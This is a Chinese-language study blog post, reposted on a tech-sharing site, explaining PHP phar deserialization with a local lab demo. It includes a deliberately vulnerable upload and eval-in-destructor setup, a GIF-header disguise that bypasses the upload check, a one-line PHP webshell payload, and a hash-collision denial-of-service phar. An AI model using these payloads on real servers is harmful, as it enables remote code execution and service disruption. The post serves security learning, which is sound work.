ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

phar反序列化漏洞学习

2022-01-26 10:03:20  阅读:233  来源: 互联网

标签:文件 php phar upload 漏洞 file 序列化


被大师傅问到了说不出,菜菜呜呜

一、漏洞原理

1.1 phar文件格式

php 反序列化漏洞通常是将序列化后的字符串传入 unserialize() 函数造成的,而这里的 phar 反序列化漏洞利用的是 phar 会以序列化的形式存储用户自定义的 meta-data 特性。维基百科解释的 phar 文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。

phar 文件由四部分构成:

1. stub

可以理解为 phar 文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx 可以为自定义内容。

2. manifest

phar 文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的 meta-data,这是漏洞利用最核心的地方。

3. content

被压缩文件的内容

4. signature (可空)

签名,放在末尾。

 

1.2 phar文件生成

php 内置了一个 Phar 类来处理相关操作,可以将 php.ini 中的 phar.readonly 选项设置为 Off 自己生成一个 phar 文件

执行这个 phar.php 文件生成一个 phar.phar 文件

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

 

phar.phar 中 meta-data 的内容以序列化的形式存储

 

有序列化的数据那也必然有反序列化操作,php 一大部分的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 meta-data 进行反序列化,seaii@知道创宇404实验室测试出如下受影响的函数,zxc 师傅又给出了很多其他利用方式 https://blog.zsxsoft.com/post/38

 

二、漏洞利用实例

2.1 漏洞利用条件

1.phar 文件要能够上传到服务器端

2.要有可用的魔术方法作为跳板

3.文件操作函数的参数可控,且 “:”、“/”、“phar” 等特殊字符没有被过滤

 

2.2 文件上传绕过格式限制

php 识别 phar 文件是通过其文件头的 stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。那么就可以通过添加任意的文件头和修改后缀名的方式将 phar 文件伪装成其他格式的文件

实例 demo 参考写在最下面了

  • 上传文件表单:upload.html
  • 后端校验页面:upload.php(校验文件内容和文件后缀是否为 gif)
  • 漏洞页面:index.php(存在 file_exists() 和 __destruct() 函数)
  • 新建目录:upload_file(存储上传成功的文件)

upload.html

<!DOCTYPE html>
<html>
<head>
    <title>upload file</title>
</head>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="upload" />
</form>
</body>
</html>

 

upload.php

<?php
if(($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif'){
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if(file_exists("upload_file/" . $_FILES["file"]["name"])){
        echo $_FILES["file"]["name"] . " already exists. ";
    }
else{ move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } }
else{ echo "Invalid file, you can only upload gif"; }

 

index.php

<?php
class TestObject{
    var $data = 'echo "Hello World";';
    function __destruct()
    {
        eval($this -> data);
    }
}
if ($_GET["file"]){
    file_exists($_GET["file"]);
}

 

实验过程:

1.文件内容为 gif 的校验可以通过在文件头部添加 GIF89a 绕过,文件后缀为 gif 的校验可以先生成一个 phar 文件,再修改后缀

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

 

2.成功上传到 upload_file 目录下

 

3.访问 http://127.0.0.1/index.php?file=phar://upload_file/phar.gif,成功执行 phpinfo();

 

2.3 getshell

生成 phar_shell.phar 文件

<?php
    class TestObject {
    }
    $phar = new Phar("phar_shell.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='eval(@$_POST[\'apple\']);'; //控制TestObject中的data为一句话木马
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

 

上传步骤和 2.2 一样,shell 连接地址 http://127.0.0.1/index.php?file=phar://upload_file/phar_shell.gif

 

2.4 配合PHP内核哈希表碰撞攻击

漏洞原理:在PHP内核中,数组是以哈希表的方式实现的,攻击者可以通过巧妙的构造数组元素的 key 使哈希表退化成单链表(时间复杂度从O(1) => O(n))来触发拒绝服务攻击

实验过程:

1.生成恶意 phar 文件

<?php
set_time_limit(0);
$size= pow(2, 16);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
    $array[$key] = 0;
}
$new_obj = new stdClass;
$new_obj->hacker = $array;
$p = new Phar(__DIR__ . '/phar_ddos.phar', 0);
$p['hacker.php'] = '<?php ?>';
$p->setMetadata($new_obj);
$p->setStub('<?php __HALT_COMPILER();?>');
?>

 

2.测试漏洞效果

<?php
set_time_limit(0);
$startTime = microtime(true);
file_exists("phar://phar_ddos.phar");
$endTime = microtime(true);
echo 'Time comsumption: '.($endTime - $startTime). ' s';
?>

 

3.访问 http://127.0.0.1/ddos.php 耗时 4.6 秒

 

三、总结

在写这篇文件包含与伪协议 https://www.cnblogs.com/wkzb/p/15628219.html 小笔记的时候提到了一下 phar 的反序列化,但是没好好学习,终于补上啦,最近特别爱玩,上班的时候听见师傅们讨论学习进度插不进话,呜呜呜呜呜哇我学还不行嘛!

 

参考文章:

https://paper.seebug.org/680/

https://www.freebuf.com/articles/web/205943.html

https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

 

标签:文件,php,phar,upload,漏洞,file,序列化
来源: https://www.cnblogs.com/wkzb/p/15783434.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有